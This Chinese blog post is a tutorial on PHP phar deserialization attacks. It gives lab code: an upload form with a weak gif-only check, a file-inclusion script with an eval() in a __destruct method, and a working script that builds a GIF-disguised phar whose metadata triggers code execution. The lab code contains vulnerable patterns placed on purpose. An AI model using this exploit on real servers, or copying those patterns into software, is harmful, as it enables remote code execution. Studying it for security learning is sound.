phar反序列化的初步认识

这类的题也写了很多了,每次碰到都是懵的,今天看到一篇文章的Demo让我能比较简单地让我理解大概流程,写下来记录一下。

phar反序列化是由于php生成的phar文件中的一部分通过序列化存储而且可控,而文件在利用file_get_content()等函数用phar://协议包含文件时会对phar文件进行反序列化。我们可以在魔术方法里写入一些代码,在反序列化时自动调用魔术方法,从而达到攻击的目的。

这个有一些利用条件:

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

我在一篇文章中找到个小Demo,恰好用来演示一些利用方法。

在开始之前,我们需要在本机的php.ini,修改下面的选项,否则会无法创建Phar文件。

在这里插入图片描述

在被攻击的靶机里准备三个文件,分别是:upload.html(上传文件的表格)

<html>
<head>
<title>phar_test</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input class="button" type="submit" name="submit" value="submit"/>
</form>
</body>
</html>

upload.php(处理上传文件)

<?php
$Upload_dir = "../upload_file/";//上传文件存放处
if(isset($_POST['submit']))
{
        if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif')//判断文件类型
        {
                echo "Upload: " . $_FILES["file"]["name"]."<br>";
                echo "Type: " . $_FILES["file"]["type"]."<br>";
                if (file_exists($Upload_dir))//判断文件夹是否存在
                {
                        echo "Can't find the folder to save the file,please create a folder";
                }
                else
                {
                        move_uploaded_file($_FILES["file"]["tmp_name"],$Upload_dir .$_FILES["file"]["name"]);
                        echo "Stored in: " . $Upload_dir . $_FILES["file"]["name"]."<br>";
                }
        }
        else
        {
                echo "Invalid file,you can only upload gif";
        }
}
?>

file_un.php(文件包含)

<?php
$filename=$_GET['filename'];
class AnyClass{
    var $output = 'echo "cck<br>";';
    function __destruct()
    {
        eval($this -> output);
    }
}
$a = new Anyclass();
$b = serialize($a);
echo 'normal unserialize:<br>';
unserialize($b);//演示正常反序列化的输出
echo 'GET the $filename';
file_exists($filename);
?>

,以及一个权限为777的文件夹upload_file(用来存放上传的文件)。其中upload.php要求只能上传gif文件。
准备完成之后,就可以开始实验了。

首先,写一个evil.php用来创建phar文件

<?php
class AnyClass{
    var $output = 'echo "cck";';
    function __destruct()
    {
        eval($this -> output);
    }
}
$phar = new Phar('phar.phar');//创建一个phar.phar文件
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置phar文件的Stub部分
$phar -> addFromString('test.txt','test');//添加test.txt文件进入phar文件
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);//设置Metadata
$phar -> stopBuffering();
?>

这里需要解释一下,phar文件本质上为一种压缩文件,一般有四个部分:

  1. stub部分,phar://协议要识别phar文件需要识别该部分,格式为:xxx<?php xxx; __HALT_COMPILER();?>,前面内容无所谓,但一定需要__HALT_COMPILER();?>结尾,否则不能识别。
  2. manifest部分,用来描述文件的属性权限等,且由于会序列化存储用户自定义的Metadata数据,也是我们主要进行攻击的地方。
  3. 压缩文件内容。
  4. 签名,可选,一般放在文件末尾。

我们运行evil.php文件所创造出来的phar.phar文件的ASCII为:
在这里插入图片描述
可以看到,文件头有一个GIF98a,而且phar://可以识别到phar文件的文件头,我们只要将后缀修改一下就可以绕过对gif文件类型的限制并不让phar文件失效,上传之后的效果如图:
在这里插入图片描述
output的值变成了"phpinfo();",在调用魔术函数时就会变成eval(phpinfo();),从而达到命令执行的目的。调用魔术函数需要反序列化,反序列化需要用include()等函数用phar://协议读取phar文件。这时我们需要用到file_un.php进行文件包含,效果如图:
在这里插入图片描述
此时,我们成功进行了攻击,达到了我们的目的。
而普通文件包含为:
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200313000350836.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl8
参考文章https://www.freebuf.com/articles/web/205943.html
https://paper.seebug.org/680/

发布了37 篇原创文章 · 获赞 2 · 访问量 1420

猜你喜欢

转载自blog.csdn.net/weixin_44377940/article/details/104799804
今日推荐